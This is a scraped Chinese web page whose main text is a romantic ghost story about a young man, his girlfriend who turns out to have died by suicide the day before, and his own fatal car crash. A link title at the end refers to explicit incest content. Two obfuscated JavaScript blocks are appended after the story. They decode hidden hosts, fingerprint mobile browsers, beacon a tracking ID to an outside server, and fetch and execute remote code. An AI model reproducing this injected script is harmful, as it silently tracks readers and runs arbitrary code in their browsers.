
这种一秒种都不愿分开的感觉快让我疯掉。

她的眼,繁星般闪亮,照亮了我的世界,给了我前进的方向。

什么都不必说,我要立刻把她抱住,捧在手心,帮她吹灭蜡烛,帮她忘掉忧伤。 这时候,我扫了一眼路边的电视,画面上有一对中年夫妇正在哭泣。

正在播着一个大学女生自杀的消息,画外音传进我的耳朵里。

“北京时间5月17日午夜12点,城南师范学校某女生因和男朋友分手,跳楼自杀,引起了各个高校以及有关部门的注意,专家再一次唿吁,加强大学生的心理教育,已经势在必行…………”

“自杀的这名女子是英语系的高材生,名字叫做莫小凡,性格并不内向,但是自尊心极强,比较极端…………”

“莫小凡!!”我赶紧看了一下电视画面,虽然只扫了一眼,但是照片上那个人绝对是她,那眼神是独一无二的。

我的冷汗顺着额头流了下来,“不可能的,绝对不可能的。”

我赶紧把手机拿出来,看下午我偷偷给她拍的照片,可是,只有一个下雨的屋檐,没有她的样子。

“怎么可能?这究竟是怎么一回事?”

我的脑子混乱不堪,她的每一个动作和每一句话都在我的脑子里反复的出现。 “你相信这个世界有鬼吗?”

“人真的没有来世吗?”

“我就是鬼!”……

冰冷的手,冰冷的眼,冰冷的身体,落下的花盆,超强的预感!

“天!”我听到后面的汽车按着喇叭催促着我,我慌忙把车开起来,脑海已一片空白。

我怎么也不相信,怎么也不能相信,她分明是个可爱的女人啊。

分明是个可爱的女人,有悲有喜,有笑有泪,今天是她的生日,她在家里等我回去。

这样的人怎么可能已经死了呢?别傻了。

可是她的照片为什么没有影像,她的身体为什么没有温度!

难道,我真的遇见鬼了吗?

绝不,回去之后一切都清楚了,她是人也好,是鬼也罢,我要问一个清楚明白。 我现在也分不清自己什么感觉,用什么复杂的词汇也形容不了。

汽车在飞奔,把一切都甩到两边,可是我还是觉得慢,我不停的踩着油门,不停的踩。

我看见家里的灯光,除了我家,其他都是黑的。

她一定在等我,我的心又泛起一阵温暖的感觉。

肯定是错了,这个世界哪来的鬼,我真是傻瓜。

就在这时候,对面突然出现一辆卡车,长长的集装箱是我最后的一瞥。 剧烈的痛楚让我昏迷,车门都飞了出去。

忽然间我感到无比的清醒,我只有一个意识,回去,见她!

我连滚带爬的下了车,向家里飞奔,我还能闻到后面剧烈的汽油味和烟味。 还有几分种就十二点了,她的生日就要过去了。

想到这里我加快了脚步,当我到家门口的时候,发现门并没有关。

小凡坐在小桌子旁,看着快要燃完的蜡烛,泪水像断了线的珍珠掉在了蛋糕上。 在蜡烛微弱的光辉里,是小凡哭泣的脸,她看见了我。

我也看见了她,世界在这个瞬间停顿了。

我正要走过去,她站了起来,摇着头。

“别过来,别……过来……”

“小凡,你怎么了,告诉你没事,快说。”

她用手擦了一下眼泪,挤出一丝坚定的微笑。

“小李,你别说话,什么都别说,让我说,我还有几分种,几分钟之后我们就永别了。”

“你开什么玩笑,开……什么玩笑…………”我吼着。

“如果是开玩笑那该多好啊,昨天的这个时候,我纵身一跳,和这个人世告别了。”

“昨天是我忌日,今天是我的生日,你一定要记得!”

“我眷恋尘世,就是想知道,到底还有没有人爱我,我只有十二小时时间。 具体为什么没有时间解释了。”

“遇见你,对我来说是巨大幸运和遗憾,感谢你给了我最美好的最幸福的,爱。”

“可是,我没有命享受这些了,有很多事情死后我才明白,真是讽刺!” “这短暂的幸福足够我无悔的走上黄泉了,如果有来世,我一定会好好的活着,有生命才有希望,我明白了,我会在阴间祝福你,无论遇到什么事,我都会祝福你。”

“来世再见吧,你一定要相信有来世,也一定要相信,我们还能相遇。” 我的眼睛已经模煳一片,也说不清现在是什么感觉,是爱是恨,是怨是痴,是心痛还是心冷,是挽留还是无动于衷……

……该说点什么呢?说点什么………

蜡烛熄灭了,小凡消失的瞬间,留下了一个永恒的微笑!

熄灭的蜡烛还冒着烟,风过,散去。

一切都像烟一样散去,我傻傻的站在那里,感觉自己身体越来越轻,竟然渐渐的离开了地面。

夜好像被瞬间照亮,我置身于一个阳光流离的世界。

我的眼睛好像能穿越空间的距离,视线落到了我出车祸的那个街道。

我看见,胖子李正抱一个残缺不全的尸体哭泣,原来这个世界,人和人还是有感情的!


上一篇:好同伙用精液润泽津润我的美男妈妈

下一篇:女茅跋扈


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};